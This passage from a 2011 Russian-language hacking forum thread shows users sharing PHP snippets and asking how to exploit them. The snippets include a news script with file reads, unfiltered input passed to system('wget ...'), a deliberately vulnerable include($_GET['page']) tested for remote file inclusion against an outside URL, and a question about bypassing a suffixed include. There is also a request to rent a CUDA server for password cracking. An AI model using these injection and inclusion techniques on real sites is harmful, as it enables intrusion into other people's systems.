Старый 07.05.2011, 08:25   #1001
M.W.N.N.
 
Аватар для M.W.N.N.
 
Регистрация: 05.07.2010
Сообщений: 51
Репутация: 7
По умолчанию

Вот полный код:
/news/index.php
PHP код:
<?php
    
function show_all_news(){

        
$news_handle=opendir('news');
        while (
false !== ($news_file readdir($news_handle))) {
            if(
$news_file=='.'||$news_file=='..') continue;
            if (
strstr(strtolower($news_file),".txt")&&!strstr($news_file,"~")){
                
$news_out[]=$news_file;
            }
        }
        
closedir($news_handle);

        
rsort($news_out);
        foreach (
$news_out as $news_file) {
            
get_news("news/".$news_file);
        }
    }
    
    function 
get_news($ref){
        
//echo $ref."<h3>05/04/10</h3>";

        
$str=file($ref);
        echo 
'<p>'.$str[0].'</p>';
        
$ref=preg_replace("/news\//","",$ref);
        echo 
'<a href="?view='.$ref.'">'.$str[1].'</a>';
        for (
$i=2;$i<count($str);$i++){
            echo 
$str[$i].'';

        }
    }

    function 
show_page($ref){
        if(
strstr($ref,'..')){
            
notify("Неверная ссылка");
            return;
        }

        
$out_str='';
        
$arr=file('./news/'.$ref);
        if(!
$arr){
            
notify('Нет такой страницы');
            return;
        }
        
$out_str.='<p>'.$arr[0].'</p>';
        
$out_str.='<a href="?view='.$ref.'">'.$arr[1].'</a>';

        for (
$i=2;$i<count($arr);$i++){
            
$out_str.=$arr[$i].'';
        }
        echo (
$out_str);
        echo (
'<a href="?">Вернуться</a>');
    }
    if(isset(
$_GET['view'])){

        
show_page($_GET['view']);
    }else{
        
show_all_news();
    }
?>
M.W.N.N. вне форума   Ответить с цитированием
Старый 07.05.2011, 15:01   #1002
opium
 
Аватар для opium
 
Регистрация: 10.09.2010
Сообщений: 37
Репутация: 0
По умолчанию

v1d0q, без куда, пассвордпро а вообще, где можно купить недорогой дедик с куда?
opium вне форума   Ответить с цитированием
Старый 07.05.2011, 16:41   #1003
SynQ
 
Регистрация: 11.07.2010
Сообщений: 954
Репутация: 352
По умолчанию

Новый форум xenforo никто не смотрел?
SynQ вне форума   Ответить с цитированием
Старый 10.05.2011, 02:24   #1004
phpBB
 
Регистрация: 04.01.2011
Сообщений: 3
Репутация: 0
По умолчанию

В ходе анализа PHP скриптов периодически сталкиваюсь с потанциально опасными, на мой взгляд, конструкциями.
Можно ли из них извлечь что-нибудь полезное?

1) Практически нефильтруемая подстановка паттерна в функцию preg_match. Что-то типа
Код:
preg_match($var, $content)
$var отправляется пользователем. Из фильтрации — только экрнанирование двойной кавычки, однако слеш \ не экранируется.

2) Подстановка пользовательских данных в вызов функции system:
Код:
system("wget -O ./somefilename.ext '".$var."'")
В $var фильтруются символы | и '

Последний раз редактировалось phpBB; 10.05.2011 в 14:57.. Причина: в вызове system путь назначения задаётся скриптом
phpBB вне форума   Ответить с цитированием
Старый 10.05.2011, 12:46   #1005
Белый Тигр
 
Аватар для Белый Тигр
 
Регистрация: 29.08.2010
Сообщений: 153
Репутация: 25
По умолчанию

1) Нет. Был бы это preg_replace() - другое дело. А preg_match() ничего опасного в себе не таит.
Белый Тигр вне форума   Ответить с цитированием
Старый 11.05.2011, 20:10   #1006
M@ZAX@KEP
 
Аватар для M@ZAX@KEP
 
Регистрация: 24.07.2010
Сообщений: 139
Репутация: 5
По умолчанию RFI на локалхосте

Пытаюсь вызвать на локалхосте RFI:
PHP код:
<?php
    $file 
$_GET['page'];
    include(
$file);
?>
Да, самым примитивным образом... любой локальный файл инклудится и содержимое <?php ?> выполняется. А так: http://127.0.0.1/index.php?page=http://smilegg1085.narod.ru/include.txt ...уже хрен.

allow_url_include = on
safe_mod и прочая ересь off, да блин, даже magic quotes off.

Скажите, я ламо или с локалхостом чтонто не так?
M@ZAX@KEP вне форума   Ответить с цитированием
Старый 11.05.2011, 22:33   #1007
napas_hd
 
Регистрация: 09.07.2010
Сообщений: 70
Репутация: 4
По умолчанию

M@ZAX@KEP, показ ошибок включен, если да - есть ошибки? И еще, скромный вопрос: allow_url_fopen включен?
napas_hd вне форума   Ответить с цитированием
Старый 12.05.2011, 02:31   #1008
phpBB
 
Регистрация: 04.01.2011
Сообщений: 3
Репутация: 0
По умолчанию

M@ZAX@KEP
Кто выступает локалхостом? Если Денвер, то там по умолчанию allow_url_include=0 стоит. Включи отображение ошибок, тебе сразу станет ясно.

Белый Тигр
1) Да, спасибо, насчёт preg_replace знаю.
phpBB вне форума   Ответить с цитированием
Старый 12.05.2011, 17:01   #1009
M@ZAX@KEP
 
Аватар для M@ZAX@KEP
 
Регистрация: 24.07.2010
Сообщений: 139
Репутация: 5
По умолчанию

napas_hd, error_reporting = E_ALL На странице ошибок не вываливалось.
логирование тоже включено, но в логе только
Цитата:
[12-May-2011 13:48:11] PHP Warning: Directive 'register_globals' is deprecated in PHP 5.3 and greater in Unknown on line 0
allow_url_fopen тоже on, но при чём он тут?

phpBB, локалхостом выступает обычный апач (на дебиане, если это как-то важно) и про то, что у меня allow_url_include = on я сказал сразу.

Я тут подумал, если локалхост из веба недоступен (ясен пень) и даже 80 порт на роутере не проброшен, может ли сам локалхост лезть в веб за содержимым подключаемого файла?
M@ZAX@KEP вне форума   Ответить с цитированием
Старый 13.05.2011, 16:24   #1010
NetAng
 
Аватар для NetAng
 
Регистрация: 05.01.2011
Сообщений: 34
Репутация: 1
По умолчанию

Есть переменная r=1, 2, 3...n и т.д., которая прибавляет заданное число к строке menu и еще добавляет расширение .php, потом инклудит данный файл.
include(menu1.php);
при r=-bla-bla-bla
Цитата:
Warning: include(menu-bla-bla-bla.php): failed to open stream:
можно как нибудь обойти и инклудить другие файлы?
NetAng вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2021, Jelsoft Enterprises Ltd. Перевод: zCarot